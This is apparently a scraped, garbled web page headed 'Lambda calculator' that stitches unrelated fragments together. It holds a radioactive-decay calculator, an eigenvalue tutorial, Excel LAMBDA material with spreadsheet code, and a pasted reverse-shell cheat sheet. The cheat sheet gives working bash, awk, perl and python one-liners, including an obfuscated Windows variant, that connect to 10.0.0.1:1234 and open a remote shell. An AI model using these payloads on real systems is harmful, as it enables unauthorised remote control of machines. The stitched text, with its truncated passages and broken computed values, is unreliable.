Lambda calculator

Author: f | 2025-04-24

Home Linux A practical lambda-calculator Download. A practical lambda-calculator. Ap The practical lambda calculator offers time-saving commands and shortcuts for

lambda-calculator: A lambda calculus interpreter

20 Oct 2024 Tags: Nuclear Engineering Nuclear Chemistry Nuclear Chemistry Radiochemistry calculation Popularity: ⭐⭐⭐Radioactive Decay CalculatorThis calculator provides the calculation of the number of atoms remaining after radioactive decay.ExplanationCalculation Example: Radioactive decay is the process by which an unstable atomic nucleus loses energy by emitting radiation. The number of atoms remaining after radioactive decay can be calculated using the formula N = N0 * e^(-lambda * t), where N0 is the initial number of atoms, lambda is the decay constant, and t is the time elapsed.Q: What is the half-life of a radioactive element?A: The half-life of a radioactive element is the amount of time it takes for half of the atoms in a sample to decay. It can be calculated using the formula t1/2 = ln(2) / lambda.Q: How can radioactive decay be used in real-world applications?A: Radioactive decay has many applications in the real world, such as carbon dating, medical imaging, and cancer treatment.Variables Symbol Name Unit t Time Elapsed s lambda Decay Constant 1/s N0 Initial Number of Atoms atoms Calculation ExpressionRadioactive Decay Function: The number of atoms remaining after time t is given by N = N0 * e^(-lambda * t).N0 * Math.exp(-lambda * t)CalculatorTime Elapsed (s): Decay Constant (1/s): Initial Number of Atoms (atoms): Calculated valuesConsidering these as variable values: lambda=5.0E-4, N0=1000.0, t=100.0, the calculated value(s) are given in table below Derived Variable Value Radioactive Decay Function 1000.0*math.0.0 Sensitivity Analysis GraphsRadioactive Decay Function: The number of atoms remaining after time t is given by N = N0 * e^(-lambda * t).Impact of null on Radioactive Decay Function TGvar = [0.001 TO -0.001] f(TGvar)=N0 * Math.exp(-TGvar * t) Impact of null on Radioactive Decay Function TGvar = [1000.000 TO -1000.000] f(TGvar)=TGvar * Math.exp(-lambda * t) Similar Calculators Nuclear Reaction Calculations Fundamentals of Nuclear Engineering Calculations Nuclear Reactivity Calculations Fundamentals of Nuclear Reactor Analysis Nuclear Reaction Calculation Nuclear Thermodynamics Formulas Principles of Nuclear Reactor Calculations Theoretical Nuclear Attribute Computation Nuclear Thermodynamics Fundamentals Nuclear Composition CalculationExplore Radioactive decay Nuclear physics Chemistry Calculate the specific activity of a 10mCi sample of Co-60 if it occupies a volume of 1000 liters. A solution containing 5mg of Ru-106 is diluted to make 500 liters. What will be the concentration of Ru-106 in this solution? If a radioactive sample has an activity of 2 mCi and a mass of 200 grams, what is its specific activity?Calculator Apps Radioactive Decay Calculator AI supported calculatorn Gear Design in 3D & Learning

Lambda Calculus and Lambda Calculators - okmij.org

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Lambda Calculator: an Untyped Lambda Calculus and System F

At a Glance#After the exploitation of a remote code execution (RCE) vulnerability, the next step will be to interact with the compromised target.Reverse shells, as opposed to bind shells, initiate the connection from the remote host to the local host. They are especially handy and, sometimes the only way, to get remote access across a NAT or firewall.The chosen shell will depend on the binaries installed on the target system, although uploading a binary can be possible.12Unencrypted Shells#Netcat Listener#To get the connection from the remote machine (10.0.0.3) and interact with it, a listener have to be set on the desired port (1234) on the local machine (10.0.0.1).Parametersn: don’t do DNS lookups.v: prints status messages.l: listen.p : local port used for listening.Note:Use a port that is likely allowed via outbound firewall rules on the target network.Ports from 1 to 1023 are by default privileged ports. To bind to a privileged port, a process must be running with root permissions.Bash#bash -i >& /dev/tcp/10.0.0.1/1234 0>&10exec 196/dev/tcp/10.0.0.1/1234; sh 196 >&196 2>&196Awk#awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/1234"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/nullGawk##!/usr/bin/gawk -fBEGIN { Service = "/inet/tcp/0/10.0.0.1/1234" while (1) { do { printf "0xffsec>" |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) }}PERL#perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'PERL Windows#perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;'Python#python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Python Windows#C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 1234)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after:. Home Linux A practical lambda-calculator Download. A practical lambda-calculator. Ap The practical lambda calculator offers time-saving commands and shortcuts for Lambda Pricing Calculator Calculate the cost of running a lambda over time.

GitHub - XiLaiTL/lambda-calculator: A lambda calculus tool for

Be at least one vector in the null space that’s not the zero vector. Whenever we know that there’s a vector in the null space other than the zero vector, we conclude that the matrix ???B??? (the matrix ???\lambda I_n-A???) has linearly dependent columns, and that ???B??? is not invertible, and that the determinant of ???B??? is ???0???, ???|B|=0???.Which means we could come up with these rules:???A\vec{v}=\lambda\vec{v}??? for nonzero vectors ???\vec{v}??? if and only if ???|\lambda I_n-A|=0???.???\lambda??? is an eigenvalue of ???A??? if and only if ???|\lambda I_n-A|=0???.With these rules in mind, we have everything we need to find the eigenvalues for a particular matrix. How to find eigenvalues, eigenvectors, and eigenspaces Take the courseWant to learn more about Linear Algebra? I have a step-by-step course for that. :) Finding the eigenvalues of the transformationExampleFind the eigenvalues of the transformation matrix ???A???. We need to find the determinant ???|\lambda I_n-A|???. Then the determinant of this resulting matrix is???(\lambda-2)(\lambda-2)-(-1)(-1)??????(\lambda-2)(\lambda-2)-1??????\lambda^2-4\lambda+4-1??????\lambda^2-4\lambda+3???This polynomial is called the characteristic polynomial. Remember that we’re trying to satisfy ???|\lambda I_n-A|=0???, so we can set this characteristic polynomial equal to ???0???, and get the characteristic equation:???\lambda^2-4\lambda+3=0???To solve for ???\lambda???, we’ll always try factoring, but if the polynomial can’t be factored, we can either complete the square or use the quadratic formula. This one can be factored.???(\lambda-3)(\lambda-1)=0??????\lambda=1??? or ???\lambda=3???So assuming non-zero eigenvectors, we’re saying that ???A\vec{v}=\lambda\vec{v}??? can be solved for ???\lambda=1??? and ???\lambda=3???. The reason we care about identifying eigenvectors is because they often make good basis vectors for the subspace, and we’re always interested in finding a simple, easy-to-work-with basis. We want to make a couple of important points, which are both illustrated by this last example.First, the sum of the eigenvalues will always equal the sum of the matrix entries that run down its diagonal. In the matrix

Lambda Coefficient Calculator - MathCracker.com

The tutorial explains the Excel LAMBDA function in a simple language and demonstrates a few real-life examples of its use, behavior and possible pitfalls.Until recently, user-defined functions were the prerogative of programmers. The introduction of LAMBDA has made them available for everyone. What is Excel LAMBDA? In essence, it's a function to create other functions. With this wonderful addition to Excel's toolbox, we no longer need VBA skills to do complex computations, instead we can define our own functions using a familiar formula language. So, let's dive in and get good use out of it!Excel LAMBDA functionWhich Excel versions support LAMBDA?How to write LAMBDA in ExcelHow to calculate LAMBDA in ExcelCustom LAMBDA function examplesExample 1. Compacting long formulasExample 2. Using multiple parametersExample 3. LAMBDA with dynamic arraysHow to export / import LAMBDA to another workbookAdvantages and limitationsExcel LAMBDA function not workingExcel LAMBDA functionThe LAMBDA function in Excel is designed to create custom functions that can be called by user-friendly names and reused throughout a workbook.Simply put, you can now take any existing formula, whatever complex it is, wrap it up in LAMBDA, and give it any name you like, say BestFunction. And then, instead of typing your original lengthy formula, you can refer to BestFunction() anywhere in your workbook.The LAMBDA function works without macros, VBA or JavaScript, so every user and not just programmers can benefit from it.What does Lambda mean?The lambda symbol (λ) representing the 11th letter of the Greek alphabet is often used in physics, mathematics and computer science, where it carries different meanings.In computer science, the concept of lambdas dates back to lambda calculus (λ-calculus) introduced by American mathematician and logician Alonzo Church in the 1930s. At heart, it is a universal model of computation in which all functions are deemed anonymous and can be formed by abstraction.Microsoft announced LAMBDA in December 2020 proudly claiming that the new function makes Excel Turing-complete (i.e. computationally universal) and allows users to perform almost any calculations in the native formula language. How is that possible? Due to the fact that a LAMBDA-defined function can call other functions or even itself as many times as needed. This feature is called "recursion", and this is what makes LAMBDA so effective. Earlier, recursion in Excel was only possible through VBA or Office Script.SyntaxThe Excel LAMBDA function has the following syntax and arguments:LAMBDA([parameter1, parameter2, …,] calculation)Where:Parameter (optional) - an input value that can be

Lambda To AFR Calculator Online

C, LAMBDA(row, col, txt)));// Stack Functionsstack = lambda(array_1, array_2, [vstack_bool_df_TRUE], if( if( isomitted(vstack_bool_df_TRUE), TRUE, vstack_bool_df_TRUE ), vstack(array_1, array_2), hstack(array_1, array_2) ));stackOn = lambda( array_to_stack, fixed_array, [stack_placement_df_RIGHT], [match_shared_dimensions_df_TRUE], [fill_value_df_DBQT], let( match_shared_dimension, if(isomitted(match_shared_dimensions_df_TRUE),TRUE,match_shared_dimensions_df_TRUE), result, if( match_shared_dimension, _stackAndExpandSwitch(array_to_stack, fixed_array, stack_placement_df_RIGHT, fill_value_df_DBQT), _stackSwitch(array_to_stack, fixed_array, stack_placement_df_RIGHT) ), result ));stackAndExpand = lambda(array1, array2, [exp_width_bool_df_TRUE], [fill_value_df_blank], [exp_height_bool_df_TRUE], [vstack_bool_df_TRUE], let( expand_width, IF(ISOMITTED(exp_width_bool_df_TRUE), TRUE, exp_width_bool_df_TRUE), expand_height, IF(ISOMITTED(exp_height_bool_df_TRUE), TRUE, exp_height_bool_df_TRUE), stack_bool, if(ISOMITTED(vstack_bool_df_TRUE), TRUE, vstack_bool_df_TRUE), result, ifs( expand_height * expand_width, _stackAndExpandAllDimensions(array1, array2, fill_value_df_blank, stack_bool), expand_height, _stackAndExpandHeight(array1, array2, fill_value_df_blank, stack_bool), expand_width, _stackAndExpandWidth(array1, array2, fill_value_df_blank, stack_bool), 1, ERROR.TYPE(3) ), result ));// Subset selection and DeletiongetColumnsByName =lambda( array_with_headers, column_names_row, choosecols(drop(array_with_headers,1),getColumnIdxByName(array_with_headers,column_names_row)));getNonZeroCells = LAMBDA(target_row_or_col, LET(is_not_zero, is.notZero(target_row_or_col), FILTER(target_row_or_col, is_not_zero, "")));sliceCols = LAMBDA( original_array, no_columns_to_drop, [no_of_columns_to_take], [no_columns_to_drop_from_end], LET( after_first_drop, DROP(original_array, , no_columns_to_drop), after_take, IF( ISOMITTED(no_of_columns_to_take), after_first_drop, TAKE(after_first_drop, , no_of_columns_to_take) ), after_second_drop, IF( ISOMITTED(no_columns_to_drop_from_end), after_take, DROP(after_take, ,-no_columns_to_drop_from_end) ), after_second_drop ) );sliceRows = LAMBDA( original_array, no_rows_to_drop, [no_rows_to_take], [no_rows_to_drop_from_end], LET( after_first_drop, DROP(original_array, no_rows_to_drop), after_take, IF( ISOMITTED(no_rows_to_take), after_first_drop, TAKE(after_first_drop, no_rows_to_take) ), after_second_drop, IF( ISOMITTED(no_rows_to_drop_from_end), after_take, DROP(after_take, ,-no_rows_to_drop_from_end) ), after_second_drop ) );trimValue = lambda( target_row_or_col, [trim_value_df_BLANK], let( trim_mask, if( isomitted(trim_value_df_BLANK), not(isblank(target_row_or_col)), not(target_row_or_col = trim_value_df_BLANK) ), filter(target_row_or_col, trim_mask,"") ));// Complex Transformationsflatten = LAMBDA( target_array, [return_as_column_bool_df_TRUE], [ignore_blanks_df_FALSE], [ignore_errors_df_FALSE], [unique_elements_only_df_FALSE], [sort_elements_df_0], [traverse_cols_first_df_TRUE], LET( make_column_bool, IF(ISOMITTED(return_as_column_bool_df_TRUE), TRUE, return_as_column_bool_df_TRUE), ignore_blanks, IF(ISOMITTED(ignore_blanks_df_FALSE), FALSE, ignore_blanks_df_FALSE), ignore_errors, IF(ISOMITTED(ignore_errors_df_FALSE), FALSE, ignore_errors_df_FALSE), ignore_value, (ignore_blanks * 1) + (ignore_errors * 2), traverse_cols_first, if(isomitted(traverse_cols_first_df_TRUE),TRUE,traverse_cols_first_df_TRUE), pre_result, IF( make_column_bool, TOCOL(target_array, ignore_value, traverse_cols_first), TOROW(target_array, ignore_value, traverse_cols_first) ), unique_elements_only_bool, if(isomitted(unique_elements_only_df_FALSE), FALSE, unique_elements_only_df_FALSE), sort_elements_value, if(isomitted(sort_elements_df_0), 0, sort_elements_df_0), after_unique_result, if(unique_elements_only_bool, unique(pre_result), pre_result), after_sort_result, switch( sort_elements_value, 0, after_unique_result, 1, sort(after_unique_result), -1, sort(after_unique_result,, -1), error.type(3) ), after_sort_result ));replaceBlankCells = LAMBDA( array, [replacement_value], MAP( array, LAMBDA( cur_cell, IF( ISBLANK(cur_cell), IF(ISOMITTED(replacement_value), "", replacement_value), cur_cell ) ) ) );replaceCell = LAMBDA( array, target_cell_value, replacement_value, [comparison_operator], MAP( array, LAMBDA( cur_cell_value, let( comparison_func, IF( ISOMITTED(comparison_operator), mask.comparisonFunc("="), mask.comparisonFunc(comparison_operator) ), comparison_result, comparison_func(cur_cell_value, target_cell_value), if( comparison_result, replacement_value, target_cell_value ) ) ) ) );replaceCols = LAMBDA( replacement_cols, original_array, [target_col_idx], [insert_bool_default_false], [trim_to_orig_size_bool_df_FALSE], [expand_replacement_cols_to_match_rows_df_TRUE],. Home Linux A practical lambda-calculator Download. A practical lambda-calculator. Ap The practical lambda calculator offers time-saving commands and shortcuts for